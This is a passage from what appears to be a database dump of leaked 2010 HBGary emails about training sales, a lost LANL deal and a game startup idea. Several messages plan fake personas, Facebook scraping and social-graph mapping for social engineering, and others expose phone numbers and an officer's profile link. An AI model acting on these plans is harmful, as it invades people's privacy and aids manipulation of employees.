#00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11627,'aaron_hbgary_com/11627.html'),(10952,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008403.M352274P14101Q5807.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Mandiant getting in to the social media space','I am going to have Mark attend that webcast.  I have checked out the Blackhat and Defcon social media presentations and they are pretty basic from my opinion.  Our training and presentations go way beyond what is currently accessible.  I am interested to see how Mandiant approaches the material.  We have a webex scheduled for the same day, but its a paid full day training.  Maybe we pick a different model like I can give 1 hour free webex\'s to illicit interest in the training class.  The below is what I recently sent to DigitalGlobe for tailored training.  Right now we have webex full and half day training classes scheduled for fee, 2 days in september and 2 days in october.\r\n\r\nOne price for the training of X people in X locations with 2 follow-on training courses over the next 12 months for new employees.  Also bundled is an tailored social media report before and after the training that gives you a statistical analysis on your organizations level of information exposure.  (Included in the bundle is some initial social media pen testing to see what type of information we can glean from employees over social media that will be included in the reports).\r\n\r\nThis goes way beyond anything else I have seen.\r\n\r\nAaron\r\n\r\nOn Aug 26, 2010, at 3:50 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Looks like we should contact those people to do a webcast\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 26, 2010 10:38 AM\r\n> To: Greg Hoglund; Penny Leavy; Ted Vera; Rich Cummings\r\n> Subject: Mandiant getting in to the social media space\r\n> \r\n> http://www.msisac.org/webcast/2010-09/index.cfm\r\n> \r\n> Aaron\r\n> \r\n\r\n',11186,'aaron_hbgary_com/11186.html'),(10953,'2010-08-26','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008403.M584471P14101Q5808.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Another Killer Demo','You want a copy of our Twitter Helper?  You type in a twitter ID and it\r\nreturns all the IDs that ID follows as links.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\nFollow @palantirtech\r\nWatch youtube.com/palantirtech\r\nAttend Palantir Night Live\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 26, 2010 11:43 AM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman; Ted Vera; Mark Trynor\r\nSubject: Re: Another Killer Demo\r\n\r\nOn the social side here is what I would like to do.  I think between Mark\r\nand Aaron this could be put together very quickly and would be powerful.\r\n\r\nstart with a profile in facebook.\r\n\r\nhttp://www.facebook.com/profile.php?id=100001092994636\r\n\r\nView the source of that page.  There is all kinds of information we can\r\ncollect and parse to build some very robust social maps.\r\nThose people that provide information and have their friends lists exposed\r\nprovide an incredible social engineering and recon tool.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n\r\n> Brandon is a rockstar!!! Good call.\r\n> \r\n> Let us know if you want help on the demo, sounds like it could be really\r\n> interesting.  We\'d probably love to make a video of is as well to put up\r\non\r\n> our analysis blog (with HBGary branding of course!).\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 25, 2010 10:36 PM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman\r\n> Subject: Another Killer Demo\r\n> \r\n> Matt,\r\n> \r\n> I have been doing talks on social media, have a lot more scheduled, along\r\n> with some training gigs.  In the process I am setting up a lot of personas\r\n> and doing social media pen testing against organizations.\r\n> \r\n> What I have found is there is an immense amount of information peoples\r\n> friends lists as well as other social media digital artifacts can tell us.\r\n> I think Palantir would be an awesome tool to present and use for analysis.\r\n> We are just going to have to get someone to write a helper app.  I am\r\nhoping\r\n> to be able to hire Brandon Colston soon.\r\n> \r\n> Aaron\r\n\r\n',16454,'aaron_hbgary_com/16454.html'),(10954,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008403.M829067P14101Q5809.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Another Killer Demo','sure that would be cool.\r\n\r\nI really want to work on a facebook helper.  Lots of neat things you can do with twitter data, but the real power is in facebook data.  Think about if I wanted to do social engineering against a company.  Find out what other companies do a good amount of work with main company based on relationships.  Find out who are employees based on # of already identified employees have common friends.  I could go on and on.  I am doing a lot of this manually right now and I am finding some very interesting things.  If I could pour over large data sets...\r\n\r\nThis is a blackhat talk for sure if we can put the data together.  I don\'t think facebook will be very happy about it because it will concretely show the dangers of social media information aggregation.  But it will get us a lot of attention, and I don\'t think it will take much to put it together.\r\n\r\nAaron\r\n\r\nOn Aug 26, 2010, at 4:28 PM, Matthew Steckman wrote:\r\n\r\n> You want a copy of our Twitter Helper?  You type in a twitter ID and it\r\n> returns all the IDs that ID follows as links.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 26, 2010 11:43 AM\r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> On the social side here is what I would like to do.  I think between Mark\r\n> and Aaron this could be put together very quickly and would be powerful.\r\n> \r\n> start with a profile in facebook.\r\n> \r\n> http://www.facebook.com/profile.php?id=100001092994636\r\n> \r\n> View the source of that page.  There is all kinds of information we can\r\n> collect and parse to build some very robust social maps.\r\n> Those people that provide information and have their friends lists exposed\r\n> provide an incredible social engineering and recon tool.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n> \r\n>> Brandon is a rockstar!!! Good call.\r\n>> \r\n>> Let us know if you want help on the demo, sounds like it could be really\r\n>> interesting.  We\'d probably love to make a video of is as well to put up\r\n> on\r\n>> our analysis blog (with HBGary branding of course!).\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantir.com | 202-257-2270\r\n>> \r\n>> Follow @palantirtech\r\n>> Watch youtube.com/palantirtech\r\n>> Attend Palantir Night Live\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman\r\n>> Subject: Another Killer Demo\r\n>> \r\n>> Matt,\r\n>> \r\n>> I have been doing talks on social media, have a lot more scheduled, along\r\n>> with some training gigs.  In the process I am setting up a lot of personas\r\n>> and doing social media pen testing against organizations.\r\n>> \r\n>> What I have found is there is an immense amount of information peoples\r\n>> friends lists as well as other social media digital artifacts can tell us.\r\n>> I think Palantir would be an awesome tool to present and use for analysis.\r\n>> We are just going to have to get someone to write a helper app.  I am\r\n> hoping\r\n>> to be able to hire Brandon Colston soon.\r\n>> \r\n>> Aaron\r\n> \r\n\r\n',13896,'aaron_hbgary_com/13896.html'),(10955,'2010-08-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008404.M216147P14101Q5811.eml','\"Aaron Barr\" <aaron@hbgary.com>','Course outline','AaronDo you have a latest course outline for Bank of the West?Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',4316,'aaron_hbgary_com/4316.html'),(10956,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008404.M25121P14101Q5810.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','top of facebook','http://www.facebook.com/directory/people\r\n\r\nWe just need to start here and scrape down and store data.  Then we can correlate once all of facebook is in the database. :)',16257,'aaron_hbgary_com/16257.html'),(10957,'2010-08-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008404.M422116P14101Q5812.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Digital Globe','Can you let me know if next Friday or the following Tuesday will work for Ted to be onsite at Digital GLobe... Ineed to coordinate.Thanks!-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',2480,'aaron_hbgary_com/2480.html'),(10958,'2010-08-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008404.M638098P14101Q5813.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Digital Globe','Maria,Anytime after this Friday I will make available to you, just let me know the time. Mark and I are neck deep at LANL until tomorrow afternoon. \r\nPS - Thanks for the email kudos I appreciate it. You&#39;re the bomb! TedOn Aug 26, 2010, at 6:37 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nCan you let me know if next Friday or the following Tuesday will work for Ted to be onsite at Digital GLobe... Ineed to coordinate.Thanks!\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n\r\n',4232,'aaron_hbgary_com/4232.html'),(10959,'2010-08-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008404.M875633P14101Q5814.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Digital Globe','OK let&#39;s do next Friday then if DigitalGlobe is available -- that way it is done before the long weekend.We lost the opportunity at LANL.  I am really bummed. Aaron let&#39;s review because I need to respond to the CIO.  I need help with my message -- I want 3 sentences.\r\nBackground -- we went in there we showed AD and it did not detect malware that Responder Pro detected --- First Impression: not production ready.Second -- we don&#39;t have fingerprinting and Mandiant does -- this is important because they have to write risk / loss exposure reports.\r\nThird and related to the Second is that if we are to overwrite data we would overwrite on disk -- Mandiant would overwrite on the page file.  Fourth -- he had to buy now \r\nPenny thinks he is a Mandiant bigot but I don&#39;t think so.  I think anyone likes what they already know.  He stated that the risk / loss exposure reports are a big part of his job and he needs to be able to get those out soon and fingerprinting is part of this. Penny says they have Encase Enterprise and that&#39;s true but it is way slow and he worked at Mandiant 4 years and knows the product.\r\nI asked is Fingerprinting more important than Detecting unknown malware and he said yes because management is expecting this.  He also said that Responder Pro gives him 100% detection on known malware.\r\nTwo things -- he didn&#39;t believe the product was production ready so not willing to take a risk and his personal interest was to get these reports out.  He said long-term Active Defense is better and if Fingerprinting had been in the product and it worked he would have opted with Active Defense.\r\nWhat I NEED YOUR HELP on is a quick note to the CIO stating that although both products are IR tools, it was determined by Kelcey that MIR was better for him to do Risk/Loss exposure investigations, but that Active Defense filled a huge gap of detecting unknown malware and that Mandiant doesn&#39;t do this.  So if LANL is equally convinced in knowing what happened is as important as what is currently happening or about to take place then they should have both products.  Also, within the next 3 months Active Defense will have all the features that Kelcey needed today and will detect APT.\r\nIdeally, Kelcey said he would like to have both products.  And, long term he would prefer Active Defense based on our capabilities, roadmap and speed.That is what I want to say but in CIO language.\r\nYou are the bomb too.  I think we can possibly sell training at Bank of the West.  They love End Games.On Thu, Aug 26, 2010 at 6:55 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nMaria,Anytime after this Friday I will make available to you, just let me know the time. Mark and I are neck deep at LANL until tomorrow afternoon. \r\n\r\nPS - Thanks for the email kudos I appreciate it. You&#39;re the bomb! TedOn Aug 26, 2010, at 6:37 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nCan you let me know if next Friday or the following Tuesday will work for Ted to be onsite at Digital GLobe... Ineed to coordinate.Thanks!\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',12248,'aaron_hbgary_com/12248.html'),(10960,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008405.M286290P14101Q5816.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Digital Globe','OK. &nbsp; Yeah this is something we need to grasp concretely. &nbsp;If zero day malware is in the organization and they don\'t know about it that is better than, If they know of malware in their network they need a mature and capable method to search for that malware and remove it across the enterprise. &nbsp;AD not detecting what Responder did, that was it, if it was me I would pass as well until we can prove it is up for prime time.What is fingerprinting?Sooo I would say that your response should be along this note. &nbsp;We are developing capabilities to help organizations across the spectrum of threats; Active Defense, Responder, Fingerprint, our partnership with Fidelis, Palantir, Threat Intelligence, Social Media. &nbsp;We recognize there are some identified discontinuities between Responder and AD that need to be addressed. &nbsp;We believe we can do everything MIR does and much more and we request to have an opportunity to demonstrate this at some point in the near future and if we meet all the requirements we would like to have the opportunity to be you APT solution.Something like that. &nbsp;Distilled I think you need to recognize there are some things we need to address and understand their decision. &nbsp;That said we feel we ahve a larger set of capabilities to protect organizations.AaronOn Aug 26, 2010, at 10:12 PM, Maria Lucas wrote:OK let\'s do next Friday then if DigitalGlobe is available -- that way it is done before the long weekend.We lost the opportunity at LANL. &nbsp;I am really bummed. Aaron let\'s review because I need to respond to the CIO. &nbsp;I need help with my message -- I want 3 sentences.\r\nBackground -- we went in there we showed AD and it did not detect malware that Responder Pro detected --- First Impression: not production ready.Second -- we don\'t have fingerprinting and Mandiant does -- this is important because they have to write risk / loss exposure reports.\r\nThird and related to the Second is that if we are to overwrite data we would overwrite on disk -- Mandiant would overwrite on the page file. &nbsp;Fourth -- he had to buy now&nbsp;\r\nPenny thinks he is a Mandiant bigot but I don\'t think so. &nbsp;I think anyone likes what they already know. &nbsp;He stated that the risk / loss exposure reports are a big part of his job and he needs to be able to get those out soon and fingerprinting is part of this. Penny says they have Encase Enterprise and that\'s true but it is way slow and he worked at Mandiant 4 years and knows the product.\r\nI asked is Fingerprinting more important than Detecting unknown malware and he said yes because management is expecting this. &nbsp;He also said that Responder Pro gives him 100% detection on known malware.\r\nTwo things -- he didn\'t believe the product was production ready so not willing to take a risk and his personal interest was to get these reports out. &nbsp;He said long-term Active Defense is better and if Fingerprinting had been in the product and it worked he would have opted with Active Defense.\r\nWhat I NEED YOUR HELP on is a quick note to the CIO stating that although both products are IR tools, it was determined by Kelcey that MIR was better for him to do Risk/Loss exposure investigations, but that Active Defense filled a huge gap of detecting unknown malware and that Mandiant doesn\'t do this. &nbsp;So if LANL is equally convinced in knowing what happened is as important as what is currently happening or about to take place then they should have both products. &nbsp;Also, within the next 3 months Active Defense will have all the features that Kelcey needed today and will detect APT.\r\nIdeally, Kelcey said he would like to have both products. &nbsp;And, long term he would prefer Active Defense based on our capabilities, roadmap and speed.That is what I want to say but in CIO language.\r\nYou are the bomb too. &nbsp;I think we can possibly sell training at Bank of the West. &nbsp;They love End Games.On Thu, Aug 26, 2010 at 6:55 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nMaria,Anytime after this Friday I will make available to you, just let me know the time. Mark and I are neck deep at LANL until tomorrow afternoon.&nbsp;\r\n\r\nPS - Thanks for the email kudos I appreciate it. You\'re the bomb!&nbsp;TedOn Aug 26, 2010, at 6:37 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nCan you let me know if next Friday or the following Tuesday will work for Ted to be onsite at Digital GLobe... Ineed to coordinate.Thanks!\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n\r\n',10611,'aaron_hbgary_com/10611.html'),(10961,'2010-08-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008405.M575965P14101Q5817.eml','penny@hbgary.com,penny@hbgary.com','Fwd: Just got done running and jotted some notes - this could be huge.','Aaron,\r\nFYI Penny was very excited about these ideas, I heard her say &quot;billion dollar idea&quot; several times over dinner tonight.\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;arasita@mac.com&gt;Date: Thu, Aug 26, 2010 at 5:01 PM\r\nSubject: Just got done running and jotted some notes - this could be huge.To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nImmersive/LB Social Game\r\nYou can pick your character and story to fit your real lifestyle so the places you check in to give you boosts in world.\r\nReal stores can sponsor in world gear/stores and sell things that sponsor their goods.\r\nThings you do in world can give you deals in the real world.\r\nThere can be quests in the real world that originate from the immersive world and vice versa.\r\nYou can play against other teams in certain quests and your team in the real world has to complete real world group quests.\r\n Aaron\r\n\r\n\r\n\r\n\r\n',5331,'aaron_hbgary_com/5331.html'),(10962,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008405.M67126P14101Q5815.eml','\"Ted Vera\" <ted@hbgary.com>','A rearadmiral with a totally open FB page....c\'mon doesn\'t he have anyone to school him?','http://www.facebook.com/profile.php?id=1377768692&ref=sgm#!/profile.php?id=1377768692&v=wall&ref=sgm',13745,'aaron_hbgary_com/13745.html'),(10963,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008405.M772624P14101Q5818.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Just got done running and jotted some notes - this could be huge.','Likewise I am having a hard time getting some other work done because my mind keeps going back to it. &nbsp;Its a whole filler idea. &nbsp;One of those that is a perfect idea for the evolution of the market.Based on old work I am trying to get back I can probably get us in front of Apple and Google VC funders but thats about it for me. &nbsp;I have to get out an updated outline for our social media course to Maria for Bank of the West but after that I am going to dedicated to write up a few pages on this idea.AaronOn Aug 26, 2010, at 10:56 PM, Greg Hoglund wrote:Aaron,\r\nFYI Penny was very excited about these ideas, I heard her say \"billion dollar idea\" several times over dinner tonight.\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;arasita@mac.com&gt;Date: Thu, Aug 26, 2010 at 5:01 PM\r\nSubject: Just got done running and jotted some notes - this could be huge.To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nImmersive/LB Social GameYou can pick your character and story to fit your real lifestyle so the places you check in to give you boosts in world.Real stores can sponsor in world gear/stores and sell things that sponsor their goods.Things you do in world can give you deals in the real world.There can be quests in the real world that originate from the immersive world and vice versa.You can play against other teams in certain quests and your team in the real world has to complete real world group quests.&nbsp;Aaron\r\n\r\n\r\n\r\n\r\n',8122,'aaron_hbgary_com/8122.html'),(10964,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008405.M968255P14101Q5819.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Just got done running and jotted some notes - this could be huge.','Do you think we need to try and recruit a name in game development to help beef up a team offering?AaronOn Aug 26, 2010, at 10:56 PM, Greg Hoglund wrote:Aaron,\r\nFYI Penny was very excited about these ideas, I heard her say \"billion dollar idea\" several times over dinner tonight.\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;arasita@mac.com&gt;Date: Thu, Aug 26, 2010 at 5:01 PM\r\nSubject: Just got done running and jotted some notes - this could be huge.To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nImmersive/LB Social GameYou can pick your character and story to fit your real lifestyle so the places you check in to give you boosts in world.Real stores can sponsor in world gear/stores and sell things that sponsor their goods.Things you do in world can give you deals in the real world.There can be quests in the real world that originate from the immersive world and vice versa.You can play against other teams in certain quests and your team in the real world has to complete real world group quests.&nbsp;Aaron\r\n\r\n\r\n\r\n\r\n',14905,'aaron_hbgary_com/14905.html'),(10965,'2010-08-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008417.M760272P14101Q5820.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,penny@hbgary.com','emerging market for virtual worlds, need for a server platform','Team,\r\nAs you know I am trying to round up around $200K to get started.  I figure I can drop around $50K in myself over the first year.  Most of this initial idea is just building a server platform that can serve virtual worlds, and would not focus on building any large-scale game or application - as a tech demo it would implement a small section of a game universe to completion, including all game mechanics.  This would only be a smallish amount of content, enough to show everything off.  Developing an actual game would take millions of dollars in funding, the artwork alone for a AAA game would be millions - so that is beyond scope here.\r\n\r\n \r\n--snip--&gt;\r\n \r\nOver the next 15 years or so, virtual worlds are going to replace the web.  When you visit a web page today, there are hundreds of other people there at the same time, but you can&#39;t see them.  Some web sites already offer social community (i.e, Facebook, Linkedin, Myspace) - but this is limited to text based chat rooms.  In the near future, 3D virtual environments will allow all people who are visiting the space to see and interact with one another in real time. Today, these large-scale interactive environments are dominated by &quot;MMO&quot; online games (i.e., World of Warcraft, Eve Online, Age of Conan).  There have also been non-gaming attempts at immersive shared space and so-called &quot;virtual worlds&quot; (i.e., Second Life, SmallWorlds, Entropia).\r\n\r\nSocial networking is a huge expanding space. In terms of immersive environments, gaming maintains the largest market clocking in between $6-8 billion dollars in 2010, but this is just a subset of social media as a whole.  In business, &quot;Enterprise 2.0&quot; (web 2.0 with integrated social networking, RSS feeds, mashups, etc) is predicted to reach $4.6 billion by 2013 (Forrester).  Large companies (i.e, Google, Facebook) have been in a buying spree, snagging up social media/social networking companies.  Location based services, tied to mobile devices, even allow users to overlay virtual information over real-world spaces (i.e., 4-Square, etc).  The boundaries between the real world and virtual worlds will steadily dissolve over the next couple of decades.\r\n\r\nThere are two primary ways that virtual world technology can be used.  One is immersive - typically a game world - that represents a &#39;crafted experience&#39; - an escape from reality that allows the user to experience a fantasy of some type.  Interactive games are certainly an example of this.  To an extent, Hollywood movies are also a non-interactive form of this.  The second is augmented reality, where virtual information is overlaid on top of real-world physical space, typically assisted by a mobile device such as the Droid or iPhone.  Augmented reality is a new and growing, and is strongly tied to mobile computing.  Both types of virtual worlds rely upon a back end server technology, similar to the way that web pages rely upon a web server.\r\n\r\nState of the art today\r\nVirtual world technology, in particular MMO games, are largely custom developed.  Licensable platforms exist (i.e, Unreal) and very expensive, but these only address the graphical client, not the server.  When solutions include a server, the server is limited to a small number of players.  There are no solutions that offer massive online play (10,000+ players at once).  Supposed platforms, such as BigWorld, are actually vaporware and don&#39;t actually work.  Other solutions, such as Kaneva, are low-quality and nobody would actually use them for a commercial effort.  The lack of a commercial server platform means virtual worlds are only accessible to large AAA gaming companies and Hollywood.  Even large retailers can&#39;t use virtual worlds - the best they can get today is Adobe Flash which, at best, is a high-polish single-user interactive toy embedded within a larger website (think &#39;build your own Nike shoe&#39; applications).\r\n\r\n \r\nOpportunity\r\nWith the growth in social media there will be a demand for a virtual world server platform that can handle a large number of interactive users.  Web servers are not designed for this purpose and will need to be augmented with this new type of server that can handle a large interactive space filled with 3D objects and user avatars.  Basically stated, this server platform will be capable of delivering a deeply immersive 3D experience such as that already accomplished by MMO games. These servers will be used to extend existing social networking spaces and interactive websites.  Applications will include games that allow friends to interact in a different way, shared and personalized user spaces, commercial product simulations, and training.\r\n\r\nMoving forward\r\nGaming is an ideal way to build the technology.  Gaming is already used to extend the social networking experience.  For example, the game Farmville has over 60 million players and is a simple web-based game with very little immersion or graphics, yet the company that makes it, Zynga, is worth several hundred million dollars.  What makes the FarmVille game so valuable is the fact that it&#39;s built upon the social networks within FaceBook.  Whenever ties can be created to the real world, the virtual world becomes more valuable.  Gaming is also a good starting platform because it will exercise all aspects of the virtual world platform.  A game model will allow potentially millions of virtual objects to be placed into a large world with tens of thousands of players, all governed by externally dictated mechanics and security.  Furthermore, players can own and operate virtual property and objects and participate in a game economy.  All other uses of the virtual world technology become a subset of functionality under the greater requirements of running a game universe.  Ultimately, an MMO game universe is a structured environment in which social interaction is supported and potentially even induced by game progression goals.\r\n\r\n \r\nStep 1\r\nWe need to build a tech demo of the virtual world platform.  This is basically a construct where objects can be placed, players can log in, avatars can be possessed and used as characters for interaction, and multiple players can view a shared space and one another.  A great deal of hard work has already been done here, and we simply need to finish this work.  Expected investment and time: $200,000 and apprx. 6 months to one year.\r\n\r\n \r\nAttached is a technical document describing the progress to date on the engine.\r\n \r\n',10008,'aaron_hbgary_com/10008.html'),(10966,'2010-08-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008419.M476159P14101Q5821.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Just got done running and jotted some notes - this could be huge.','Before we go to anyone I would like to have a tech demo.  For that I don&#39;t think we need any game houses - we just need a small team of dedicated people.\r\n \r\n-G\r\nOn Thu, Aug 26, 2010 at 8:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nDo you think we need to try and recruit a name in game development to help beef up a team offering? \r\n\r\nAaron\r\n\r\n\r\n\r\nOn Aug 26, 2010, at 10:56 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\nFYI Penny was very excited about these ideas, I heard her say &quot;billion dollar idea&quot; several times over dinner tonight.\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;arasita@mac.com&gt;\r\nDate: Thu, Aug 26, 2010 at 5:01 PMSubject: Just got done running and jotted some notes - this could be huge.To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\nImmersive/LB Social Game\r\nYou can pick your character and story to fit your real lifestyle so the places you check in to give you boosts in world.\r\nReal stores can sponsor in world gear/stores and sell things that sponsor their goods.\r\nThings you do in world can give you deals in the real world.\r\nThere can be quests in the real world that originate from the immersive world and vice versa.\r\nYou can play against other teams in certain quests and your team in the real world has to complete real world group quests.\r\n Aaron\r\n\r\n\r\n\r\n\r\n',1286,'aaron_hbgary_com/1286.html'),(10967,'2010-08-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008420.M354697P14101Q5822.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Digital Globe','Well 2 points1 Fingerprinting integration will be our ability to search disk for &quot;artifacts&quot; --remnants left if the malware is removed by the attacker.  We don&#39;t do this today.  It is on the roadmap for Q410.  This was critical for him.  He also said HBGary&#39;s fingerprinting will go beyond what Mandiant offers and he was excited about that.\r\n2. HBGary -- believes that he is prejudiced and has ties with Mandiant -- not that he is unwilling to accept the risk.  This is a problem for me to manage the account.  You see I am like you I wouldn&#39;t have taken the risk.  Also, it takes HBGary off the hook \r\nLet&#39;s talk tomorrow because at GFIRST I met Wayne Jones who manages the security budget for ALL NNSA labs and if we play this right we could get monies next year and maybe that is a good contact for HBGary Federal.\r\nOn Thu, Aug 26, 2010 at 7:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK.   Yeah this is something we need to grasp concretely.  If zero day malware is in the organization and they don&#39;t know about it that is better than, If they know of malware in their network they need a mature and capable method to search for that malware and remove it across the enterprise.  AD not detecting what Responder did, that was it, if it was me I would pass as well until we can prove it is up for prime time.\r\nWhat is fingerprinting?Sooo I would say that your response should be along this note.  We are developing capabilities to help organizations across the spectrum of threats; Active Defense, Responder, Fingerprint, our partnership with Fidelis, Palantir, Threat Intelligence, Social Media.  We recognize there are some identified discontinuities between Responder and AD that need to be addressed.  We believe we can do everything MIR does and much more and we request to have an opportunity to demonstrate this at some point in the near future and if we meet all the requirements we would like to have the opportunity to be you APT solution.\r\nSomething like that.  Distilled I think you need to recognize there are some things we need to address and understand their decision.  That said we feel we ahve a larger set of capabilities to protect organizations.\r\nAaronOn Aug 26, 